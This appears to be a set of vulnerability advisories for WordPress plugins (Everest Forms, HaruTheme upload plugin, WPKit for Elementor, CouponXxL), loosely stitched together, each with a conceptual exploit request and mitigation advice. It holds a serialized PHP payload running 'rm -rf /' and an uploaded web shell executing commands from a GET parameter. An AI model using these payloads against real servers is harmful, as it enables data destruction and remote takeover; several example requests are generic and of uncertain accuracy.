How the Exploit Works

The flaw is a deserialization of untrusted data vulnerability, which allows the attacker to execute arbitrary code with the help of object injection. In simpler terms, the attacker can send serialized (converted into a format for storing or transferring) malicious data to the CouponXxL system. Upon deserialization (converting back into the original data format), the malicious code is executed, leading to the exploitation of the system.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability. The attacker sends a POST request with a malicious payload to a vulnerable endpoint.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<serialized malicious object>" }

Mitigation

The ideal solution to this vulnerability is to apply the vendor patch as soon as it becomes available. However, if the patch is not available yet, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be utilized as a temporary mitigation to detect and prevent the malicious data from reaching the system.
In the long run, it’s recommended to adopt secure coding practices, including validating and sanitizing all input data, to prevent such vulnerabilities. It’s also advisable to keep the system and its components updated with the latest security patches and updates.

How the Exploit Works

The vulnerability CVE-2025-52724 leverages the deserialization of untrusted data, a common process whereby data is converted from a format suitable for storage or transmission to one suitable for in-memory use. An attacker can exploit this vulnerability by injecting malicious objects into the deserialization process. When the application deserializes the untrusted data, it inadvertently executes the malicious code contained in the injected objects, leading to potential system compromise or data leakage.

Conceptual Example Code

An example exploit might involve the attacker sending a specially crafted POST request to the application’s server, including the malicious payload in the request body. This could look something like:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"malicious_object": "{serialized object with malicious payload}"
}

Upon receiving this request, the server would deserialize the malicious object, unknowingly executing the embedded payload and compromising the system.

Mitigation Guidance

To mitigate the risk of this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. If the patch is not yet available or if users are unable to apply it immediately, they can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and block malicious traffic targeting the deserialization vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-52709
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Everest Forms | From unspecified versions to 3.2.2

How the Exploit Works

The vulnerability exists due to the deserialization of untrusted data by the Everest Forms plugin. In software development, serialization is the process of converting an object’s state to a byte stream, and deserialization is the reverse process. When a system deserializes data from untrusted sources without adequate validation, it can open the door for an attacker to inject malicious code, resulting in an Object Injection attack.

Conceptual Example Code

An attacker could potentially exploit this vulnerability by sending a manipulated serialized object to the affected application. Here’s a simplified example of how the payload might look:

POST /wp-admin/admin-ajax.php?action=everest_forms_save_form_entry HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
form_data={ "form_id": "1", "entry_id": "1", "form_data": "O:8:\"stdClass\":1:{s:4:\"code\";s:39:\"system('rm -rf /');\";}" }

In this example, the attacker sends a serialized object containing a malicious `system()` function in the form submission. If successful, this would cause destructive behavior on the victim’s server.

Mitigation Actions

Users of the Everest Forms plugin are strongly recommended to apply the vendor patch as soon as possible to mitigate this vulnerability. In the absence of a patch, it’s recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. It’s also crucial to regularly update software and plugins and to maintain a robust security posture to protect against such vulnerabilities.

Affected Products

Product | Affected Versions

HaruTheme Drag and Drop Multiple File Upload (Pro) – WooCommerce | n/a through 5.0.6

How the Exploit Works

This vulnerability exists due to insufficient restrictions on file uploads within the HaruTheme Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin. An attacker can exploit this flaw by uploading a web shell – a script that enables remote administration – onto the web server. Once uploaded, the attacker can execute arbitrary commands on the server, potentially leading to full system compromise.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability, using a POST request to upload a malicious web shell to the vulnerable endpoint.

POST /upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In the above example, `shell.php` is a simple web shell that executes commands passed to it via the `cmd` GET parameter. An attacker could use a similar method to upload a far more sophisticated web shell, potentially leading to a full system compromise.

Affected Products

Product | Affected Versions

WPKit For Elementor | n/a through 1.1.0

How the Exploit Works

The vulnerability arises from the lack of proper authorization checks in the WPKit For Elementor plugin. This lapse allows attackers to bypass access controls and gain unauthorized access to certain functions or data. By exploiting this vulnerability, an attacker can escalate their privileges within the system, potentially leading to unauthorized system modifications, data access, and even system takeover.

Conceptual Example Code

Given the nature of the vulnerability, an attacker might send a specially crafted HTTP request to a vulnerable endpoint. Here is a conceptual example of how the vulnerability might be exploited:

POST /privileged_endpoint HTTP/1.1
Host: targetwebsite.com
Content-Type: application/json
{ "username": "attacker", "password": "123456", "action": "escalate_privileges" }

In this conceptual example, the attacker attempts to escalate their privileges by sending a POST request to a privileged endpoint. Because the WPKit For Elementor plugin doesn’t properly validate the user’s authorization, this request could potentially be successful, granting the attacker elevated privileges.

Recommendations for Mitigation

Users of the affected WPKit For Elementor plugin versions are advised to apply the vendor patch as soon as possible. In circumstances where immediate patching is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, although these measures will not fully eliminate the risk. It is always recommended to keep all software and plugins updated to the latest version to prevent exploitation of known vulnerabilities.
